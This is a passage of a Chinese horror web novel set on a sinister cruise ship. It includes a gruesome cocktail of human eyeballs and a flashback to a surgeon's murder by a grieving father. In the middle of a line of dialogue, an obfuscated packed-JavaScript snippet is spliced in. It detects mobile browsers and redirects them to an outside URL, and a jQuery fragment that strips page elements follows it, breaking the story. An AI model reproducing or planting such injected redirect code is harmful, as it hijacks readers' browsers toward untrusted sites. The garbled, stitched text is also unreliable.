白世丧气地点点头。 程昭:“虽然你现在赢了很多,还是如你自己说的那样,及时抽身吧。”她看了一眼洛清,“我朋友也是vip,她还有一个名额可以绑定,你如果愿意,可以跟我们去高级餐厅吃饭。” 白世看着自己面前小山似的筹码:“谢谢,不过我不想做他人的附庸。这点钱够我吃喝了,反正再过一天就下船了,应该死不了。 另外,我听说,到午餐时分,高级餐厅也要实行拍卖制了,你们的钱,够吗?” “我们……”洛清刚想说早上吃得够多,但被程昭捏了一下手。 程昭:“我们身上没什么钱,听说船上吃喝都免费的,没想到这船坑人啊。” 白世纠结地咬了咬嘴唇,但还是分了一半筹码给程昭。 “你救了周谭,要是没你,他就没命了,这些你收下吧。反正我就喝点水,吃点面包,一半足够了。” 程昭没有推脱:“谢谢。周谭还好吗?” 白世叹了口气:“还好,只能躺床上养着,希望下了船回去能医治好他吧。” 洛清:“这里的人都不太正常了,你不走吗?” 白世:“这船上除了待在客房里,把门锁好,应该没什么安全的地方了吧。我再玩两把,换点干粮和水,直到下船前都不出客房门了。” 程昭:“注意安全,下船的时候我来找你们。” 白世:“我记得,你说你是戒赌中心的?” 程昭立刻应了下来,出门在外,身份都是自己给的。 白世:“你要把周谭关起来吗?” 程昭做出一副很专业的样子:“戒赌不是把人关起来坐牢,是要建立正确的人生观、价值观,通过宣教和实践认识到赌博的危害,帮助他找到值得为之付出和追逐的人生目标,成为一个对社会有用的人……” 洛清看她的眼神从“你什么时候成戒赌中心的了”逐渐演变成“卧槽你好能吹啊”。 白世认真听着,微微点头,最后露出一个微笑:“那把他交给你我就放心了,我也一直很苦恼,到底要拿他怎么办呢。既然有这么好的地方,那希望你们以后能还我一个正常的朋友。” “会的。”程昭信誓旦旦道。 离开赌场,坐上往下的电梯,洛清看向程昭:“你根本不是什么戒赌中心的,我们只负责把人带出重叠域,等出来以后,他发现你骗了他怎么办?” 程昭手插在口袋里,点着用筹码换来的美钞:“人生如戏,全靠演技。反正是互相骗,也没什么吧?” 洛清不明所以:“什么互相骗?” 程昭:“一个人精通赌技,最好的朋友是赌狗,他自己上了赌桌就不愿意下来。请问,这个人不是赌狗的概率有多大?” 洛清一愣:“可是他看上去……” 程昭语调微扬:“看上去很正常?” 洛清低下头思索了会儿:“确实,在刚才那种环境下,表现得很正常,本身就是一种不正常了。” 程昭:“我能感觉到,他在那里,很自在很愉悦。到底是谁把谁拉上这艘船的都不好说呢。” 洛清:“那你说自己是戒赌中心的,是在诈他?” 程昭:“不是诈,是吓吓他。学历可能不是假的,人家八成是个真的高材生,最好别把主意打到我们身上来,这船对人的心智有影响,但愿他能保持住理智,起码在下船之前保持住。” 洛清叹口气:“别人还有可能,赌狗只怕是不可能了。” 电梯门打开,这里是邮轮2层。 3层的赌场太过混乱,她们放弃了在那里寻找病人,一层一层下来碰碰运气。 跟刚才吵闹的3层赌场比起来,2层要安静得多,有一些类似室内游乐园的设施,但没有看到人玩。靠近舷窗的地方有一个酒吧,调酒师微笑着向她们问好。 程昭:“酒要钱吗?” 调酒师摇摇头:“尊敬的贵客,我们这里没有酒。” 程昭:“那有什么?” 调酒师:“有几款特调,您要试试吗?对svip贵客是免费的。” 既然不要钱,程昭肯定要试试。 调酒师打开了身后的冰柜,程昭里面会是一些水果,没想到却是个装肉的冰柜。 洛清握紧了她的手。 程昭也看清了,那不是普通的肉,因为她看到了白花花的肉块中央一个肚脐眼,除了人类,应该不会有别的动物肚脐眼长成这样了。 调酒师并没有打算给她做一道肉菜。 只是从一个金属方形容器里挖出了一勺冻得梆硬的眼球,因为冰渣的关系,跟下面的眼球黏连在一起,为了不带出太多,满出杯子,他只好在金属边缘用力敲了几下,鸡蛋大小的眼球被敲成了两半,里面的内容物像冰沙颗粒一样掉下来。 用眼球打了底以后,他又从一个大桶里接了一些澄清的液体,在透明的杯子里带有一点淡淡的黄色。 程昭皱起眉头,她不希望这是什么重口味的东西。 调酒师贴心地为她介绍:“发酵后的脑脊液,会有一点微酸的风味,但回味是甘香的哦。” 程昭:“这是船客身上的吗?” 调酒师:“唔,我们不会对船客那么做的,这些都只是食材。” 程昭:“你们到底想做什么呢?” 调酒师眼睛笑眯眯的:“想让每一位客人都宾至如归哦。” 程昭眨眨眼,是她的错觉吗?刚才好像有两张不同的表情在调酒师脸上重合了,一张是船上所有服务人员都弧度相同的眯眼微笑,另一张却是悲伤哭泣的? “程昭,你看外面!”洛清惊叫起来。 程昭看向舷窗外,一个人从上方落了下来,按说自由落体是很快的,但她和洛清都能看清这个人落下的全过程。 他扬起的衬衣下摆,跃水般的姿势,被风吹得波动的皮肉,还有脸上癫狂的笑容。 “哈哈哈哈哈,我不会让你们抓到我的!”诊室的窗前,男人张狂地大笑,他脸上挂着血珠,一滴滴顺着下颌落到泛黄的衬衣上。 在他脚下,身着白大褂的长者了无生气地倒伏在地上,五官都被砍烂,半边脸几乎都被削去,看不出人样。 但程昭认识,这是她的导师,是刚才被一刀捅进肚子里,还要挣扎着抱住男人的腿,然后对着程昭大喊: “跑啊!快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805393|175118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑啊!” 可是程昭完全傻了,脚底跟生了根似的动弹不得,只能看着那个男人一边骂着“老不死的黑心玩意儿”,一边抡起利刃,刀刀往她恩师头脸上砍。 她在外科规培了两年,从来没见过比恩师更加不成人样的患者。 浓烈的血腥味弥漫在整个专家诊室,那味道令人作呕。 是近在咫尺的死亡味道。 她应该跑的,她得去报警,去叫保安处,可是她大脑一片空白,什么都做不了。 老师软绵绵地瘫在地上,身下是大片的鲜血,有几滴血甚至都溅到了程昭的脸上。 还是温热的。 太可怕了,她甚至想闭上眼睛。 可是她又不敢,她什么都不敢做,好像只要她一动不动,就能装作是一根木头人。 但她不是,她是一个活生生的人,是神经外科专家方锦社教授的关门弟子,是他的得力助手。 也是那场儿童髓母细胞瘤手术的一助。 患儿母亲早逝,由父亲一人抚养到8岁,由于肿瘤的压迫,孩子已经失明,每日承受癌痛煎熬,瘦得只剩一把骨头,8岁的男孩还不到15公斤。肿瘤已经有扩散的迹象,手术要尽可能实现安全的最大范围切除,后续预估还需要联合放疗或化疗。 为了这个孩子的治疗,父亲早就花光了所有的积蓄,社会的捐款也所剩无几,整个国内无人敢做手术。 他跪在方锦社面前,求求他救自己年幼的孩子。 方锦社自掏腰包,承担了所有的治疗费用,只告诉他一件事,手术风险极高,如果不做手术,预期寿命三个月,如果做手术,可能再活十年,也可能死在手术台上,让他自己选择。 被孩子的病情折磨了数年的父亲,求着搏一个奇迹,他和孩子都已经要坚持不下去了。 他在所有人面前,一把鼻涕一把泪地说: 手术成功了,算他孩子命好,方教授技精心仁。 手术失败了,算他孩子解脱,方教授仁至义尽。 手术结束了,奇迹没有发生了,孩子瘦小的身躯永远留在手术台上。程昭艰难地开口,对等在手术间外的男人说“请节哀”。 男人佝偻着身体,在手术室走廊嚎啕大哭。 方锦社安慰了男人,说孩子的后事他愿意出钱。 三天后男人拉了横幅,说医院黑心,方锦社没有医德,草菅人命。 医务科问他,所有医药费都是方锦社出的,他还想要什么。 他说,我要两百万,两百万买我儿子的命,不算贵吧。 不给钱,我就闹,闹到你们医院开不下去。 程昭愤愤地对方锦社:“老师,孩子所有的医药费都是您出的,术前风险告知得很清楚,所有签字都齐全,手术我们尽心尽力站了10个小时,他凭什么来要钱啊?” 方锦社没有见他,只是对程昭说:“这样的事情还会有很多很多,作为医生,我们自己问心无愧就好了。” 然后那天的专家门诊,方锦社从早上7点看到下午1点,连中饭都没吃,饿着肚子被男人砍死在他坐诊了三十年的诊室。 待方锦社失去生机,男人挣开他的手,还泄愤似的把踹到墙角,然后握着滴血的刀子,一步步走向程昭。 “我记得你,那天你也在手术台上,对吧?”